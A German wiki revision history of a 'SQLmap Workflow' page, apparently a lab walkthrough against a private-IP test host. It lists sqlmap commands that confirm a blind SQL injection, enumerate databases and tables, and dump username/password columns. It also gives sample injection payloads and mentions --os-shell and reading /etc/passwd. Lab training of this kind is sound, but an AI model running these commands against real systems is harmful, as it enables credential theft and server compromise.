SQLmap Workflow - Versionsgeschichte

Thomas.will: /* Daten exfiltrieren */

2025-09-15T17:43:56Z

Daten exfiltrieren

Thomas.will: /* Spalten in einer Tabelle auflisten */

2025-09-15T17:42:05Z

Spalten in einer Tabelle auflisten

Thomas.will: /* Tabellen in der Datenbank 'tuxmen' auflisten */

2025-09-15T17:41:17Z

Tabellen in der Datenbank 'tuxmen' auflisten

Thomas.will am 15. September 2025 um 17:39 Uhr

2025-09-15T17:39:02Z

Thomas.will: /* Tabellen in einer Datenbank auflisten */

2025-09-15T17:30:54Z

Tabellen in einer Datenbank auflisten

Thomas.will: /* 4. Tabellen in einer Datenbank auflisten */

2025-09-15T17:23:13Z

4. Tabellen in einer Datenbank auflisten

Thomas.will: /* 3. Datenbanken auflisten */

2025-09-15T17:23:05Z

3. Datenbanken auflisten

Thomas.will: /* 2. Version und Banner auslesen */

2025-09-15T17:20:14Z

2. Version und Banner auslesen

Thomas.will am 15. September 2025 um 17:20 Uhr

2025-09-15T17:20:02Z

Thomas.will: /* 1. Test auf Verwundbarkeit */

2025-09-15T17:19:37Z

1. Test auf Verwundbarkeit

@@ Zeile 68: / Zeile 68: @@
 == Daten exfiltrieren ==
-* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
+* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump'''
-* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
+=== Erkenntnisblock ===
 == Optionale Möglichkeiten ==

@@ Zeile 48: / Zeile 48: @@
 * Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.
-== Spalten in einer Tabelle auflisten ==
+== Spalten in der Tabelle 'mitarbeiter' auflisten ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
-* Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''.
+=== Erkenntnisblock ===
 == Daten exfiltrieren ==

@@ Zeile 37: / Zeile 37: @@
 == Tabellen in der Datenbank 'tuxmen' auflisten ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
-* Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''.
+=== Erkenntnisblock ===
-* Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
+<pre>
 == Spalten in einer Tabelle auflisten ==

@@ Zeile 19: / Zeile 19: @@
 ! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 |-
-| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--'''
+| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
 |-
-| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || '''username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)'''
+| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
 |-
-| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || '''username=test' AND (SELECT SLEEP(5))--'''
+| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || username=test' AND (SELECT SLEEP(5))--
 |}
@@ Zeile 32: / Zeile 32: @@
 == Datenbanken auflisten ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
-* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').
+* Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''.
-;Tabellen in der Datenbank 'verwaltung'
+== Tabellen in der Datenbank 'tuxmen' auflisten ==
-* Befehl: '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
+* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
-* Erkenntnis: SQLmap meldete keine Tabellen.
+* Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''.
-* Bewertung: Möglicherweise False Negative aufgrund der Blind-Injection und Limitierungen der Abfrage.
+* Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
-== 5. Spalten in einer Tabelle auflisten ==
+== Spalten in einer Tabelle auflisten ==
-* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth --columns'''
+* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
-* Erkenntnis: Spaltennamen sichtbar, z. B. '''user''', '''pass'''.
+* Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''.
-== 6. Daten exfiltrieren ==
+== Daten exfiltrieren ==
-* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth -C user,pass --dump'''
+* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
-* Erkenntnis: Klaretextdaten der Benutzer (User/Passwort) liegen vor.
+* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
-== 7. Optional: Weitere Möglichkeiten ==
+== Optionale Möglichkeiten ==
 * '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
 * '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
@@ Zeile 55: / Zeile 55: @@
 = Fazit =
 SQLmap liefert einen strukturierten Weg:
-Von der Bestätigung der Schwachstelle über die Datenbank- und Tabellenstruktur bis zur Exfiltration der Daten.
+Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte.
 Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.

@@ Zeile 34: / Zeile 34: @@
 * Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').
-== Tabellen in einer Datenbank auflisten ==
+;Tabellen in der Datenbank 'verwaltung'
-* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
+* Befehl: '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
-* Erkenntnis: Tabellenstruktur sichtbar, z. B. Tabelle '''my_auth'''.
+* Erkenntnis: SQLmap meldete keine Tabellen.
 == 5. Spalten in einer Tabelle auflisten ==

@@ Zeile 26: / Zeile 26: @@
 |}
-== 2. Version und Banner auslesen ==
+== Version und Banner auslesen ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner'''
 * Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.

@@ Zeile 7: / Zeile 7: @@
 == Test auf Verwundbarkeit ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
-== Erkenntnisblock ==
+=== Erkenntnisblock ===
 <pre>
 [13:13:17] [INFO] the back-end DBMS is MySQL
@@ Zeile 15: / Zeile 15: @@
 </pre>
-== Gefundene Verwundbarkeiten ==
+=== Gefundene Verwundbarkeiten ===
 {| class="wikitable"
 ! Parameter !! Technik !! Beschreibung !! Beispiel-Payload

@@ Zeile 5: / Zeile 5: @@
 Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
-== 1. Test auf Verwundbarkeit ==
+== Test auf Verwundbarkeit ==
 * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
-* Erkenntnis: Parameter '''username''' ist verwundbar (boolean-based blind, error-based, time-based).
+== Erkenntnisblock ==
-* DBMS erkannt: '''MariaDB/MySQL'''
+<pre>
 == 2. Version und Banner auslesen ==